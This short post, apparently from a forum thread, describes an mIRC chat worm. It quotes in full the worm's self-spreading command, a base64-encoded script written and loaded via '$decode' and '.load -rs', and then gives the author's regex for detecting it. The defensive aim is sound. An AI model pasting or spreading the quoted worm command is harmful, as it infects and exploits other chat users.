The worm is distributed by the next line written in privat to the user:
Bla bla bla. Bla bla. Bla: //.write -c a $decode( b24gITE6am9pbjojOi5tc2cgJG5pY2sgzeD46CD07vLq6C4gzcUg4ujw8/ EuIM3g4eXw6DogFi8vLndyaXRlIC1jIGEgJCAkKyBkZWNvZGUoICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIGEgfCAuaWdub3JlICRuaWNr ,m) | .load -rs a
I have written regex as follows:
regex ".* //.write -c a \$decode\(.+,m\) \|.+load -rs a";